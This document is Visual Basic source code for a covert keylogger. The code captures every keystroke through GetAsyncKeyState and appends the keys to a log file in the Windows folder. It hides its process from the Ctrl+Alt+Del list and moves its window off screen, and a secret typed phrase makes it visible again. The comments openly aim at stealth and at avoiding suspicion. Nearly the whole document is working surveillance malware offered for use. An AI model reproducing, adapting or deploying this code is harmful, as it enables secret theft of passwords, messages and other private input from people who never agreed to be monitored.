KeyLoger

' copy into module

Public Declare Function GetCurrentProcessId _
Lib "kernel32" () As Long ' get this process
Public Declare Function RegisterServiceProcess _
Lib "kernel32" (ByVal dwProcessID As Long, _
ByVal dwType As Long) As Long
'and Then un-register it!


Public Const RSP_SIMPLE_SERVICE = 1
Public Const RSP_UNREGISTER_SERVICE = 0
'seems odd, the way these are named


Public Sub HIDECAD()
Dim pid As Long
Dim reserv As Long
pid = GetCurrentProcessId()
regserv = RegisterServiceProcess(pid, RSP_SIMPLE_SERVICE)
End Sub

Public Sub SHOWCAD()
Dim pid As Long
Dim reserv As Long
pid = GetCurrentProcessId()
regserv = RegisterServiceProcess(pid, RSP_UNREGISTER_SERVICE)
End Sub

Private KeyResult As Long
'no real need For this, just gives you that warm fuzzy feeling

Private Declare Function GetAsyncKeyState Lib "user32" _
(ByVal vKey As Long) As Integer
'get the current state of the keys


Private Sub Command1_Click()
HIDECAD 'hide program in ctrl+alt+del , even more cloaking
Form1.Top = Screen.Height + 100 'put the form off screen, undetectable
End Sub

Private Sub Command2_Click()
End ' Exit program
End Sub

Private Sub text1_Change()
If Right(Text1.Text, 10) = "opensaysme" Then
'if user types secret access code

Text1.Text = (Left(Text1.Text, Len(Text1.Text) - 10))
'remove bad access code from list

SHOWCAD ' show in ctrl + alt + del
Form1.Top = (Screen.Height / 2) + (Form1.Height / 2)
'put in middle of screen

End If
'now, to save to the logfile

On Error Goto erre 'in Case of non exist, create
Open "c:\windows\keylog.ini" For Input As #1
Input #1, a ' Get old logfile
Close #1
Open "c:\windows\keylog.ini" For Output As #1
Print #1, a ' Take Old Data
Print #1, Text1.Text ' And Append New Data
Close #1
Exit Sub ' unless Error has occoured, exit sub, we're done
erre:' Error has occoured
Open "c:\windows\keylog.ini" For Output As #1
Print #1, Text1.Text ' Start New Logfile
Close #1
End Sub

Private Sub Timer1_Timer() ' set to around 20 to avoid suspicion
Dim shift As Boolean
Dim shiftc As Boolean
erre:

For i = 1 To 300
If shiftc = True Then ' |
shiftc = False '|
Else ' | This is to allow the shift key to pick up
shift = False ' | and modify the Next char!
shiftc = True ' |
End If
KeyResult = GetAsyncKeyState(i)
On Error Goto erre
If KeyResult = -32767 Then
Select Case i
Case Is = 8
Text1.Text = Text1.Text & " BKSP "
Case Is = 16
shift = True ' CHANGES TEXT TO UPPER Case
Text1.Text = Text1.Text & " SHIFT "
Case Is = 112 ' Function KEYS
Text1.Text = Text1.Text & " F1 "
Case Is = 113
Text1.Text = Text1.Text & " F2 "
Case Is = 114
Text1.Text = Text1.Text & " F3 "
Case Is = 115
Text1.Text = Text1.Text & " F4 "
Case Is = 116
Text1.Text = Text1.Text & " F5 "
Case Is = 117
Text1.Text = Text1.Text & " F6 "
Case Is = 118
Text1.Text = Text1.Text & " F7 "
Case Is = 119
Text1.Text = Text1.Text & " F8 "
Case Is = 120
Text1.Text = Text1.Text & " F9 "
Case Is = 121
Text1.Text = Text1.Text & " F10 "
Case Is = 122
Text1.Text = Text1.Text & " F11 "
Case Is = 123
Text1.Text = Text1.Text & " F12 "
Case Is = 32
Text1.Text = Text1.Text & " SPACE "
Case Is = 13
Text1.Text = Text1.Text & " ENTER "
Case Is = 27
Text1.Text = Text1.Text & " ESC "
Case Is = 46
Text1.Text = Text1.Text & " DEL "
Case Is = 18
Text1.Text = Text1.Text & " ALT "
Case Is = 17
Text1.Text = Text1.Text & " CTRL "
Case Is = 91
Text1.Text = Text1.Text & " WINKEY "
Case Is = 32
Text1.Text = Text1.Text & " SPACE "
Case Is = 9
Text1.Text = Text1.Text & " TAB "
'Next four are Arrow Keys

Case Is = 37
Text1.Text = Text1.Text & " <- "
Case Is = 38
Text1.Text = Text1.Text & " ^ "
Case Is = 39
Text1.Text = Text1.Text & " -> "
Case Is = 40
Text1.Text = Text1.Text & " \/ "
Case 65 To 90
'letters, note the use of lcase to use when

'without shift!

If shift = True Then
Text1.Text = Text1.Text & Chr(i)
Else ' have to make lower cause of some darn vb thing
Text1.Text = Text1.Text & LCase(Chr(i))
End If
Case 48 To 57
'numbers , also /w shift does char such as !@#$%^&*()

If shift = False Then
Text1.Text = Text1.Text & Chr(i)
Else ' If shift is down, do funky symbols
If i = 48 Then Text1.Text = Text1.Text & ")"
If i = 49 Then Text1.Text = Text1.Text & "!"
If i = 50 Then Text1.Text = Text1.Text & "@"
If i = 51 Then Text1.Text = Text1.Text & "#"
If i = 52 Then Text1.Text = Text1.Text & "$"
If i = 53 Then Text1.Text = Text1.Text & "%"
If i = 54 Then Text1.Text = Text1.Text & "^"
If i = 55 Then Text1.Text = Text1.Text & "&"
If i = 56 Then Text1.Text = Text1.Text & "*"
If i = 57 Then Text1.Text = Text1.Text & "("
End If
Case Is = 1
'can anybody tell me what this does?

'seems to happen evry btn click!

Case Is = 190
Text1.Text = Text1.Text & "."
Case Is = 188
Text1.Text = Text1.Text & ","
Case Else
rem MsgBox i
'remmed out for secrecy!

End Select
End If
Next
End Sub


Assumes:
form (form1),
2 command buttons (command1, caption: HIDE) (command2, caption: END)
textbox (text1, multiline:true)
module (module1)

Side Effects:
a SLIGHT proccesor usage increase, not noticable ina p2 or greater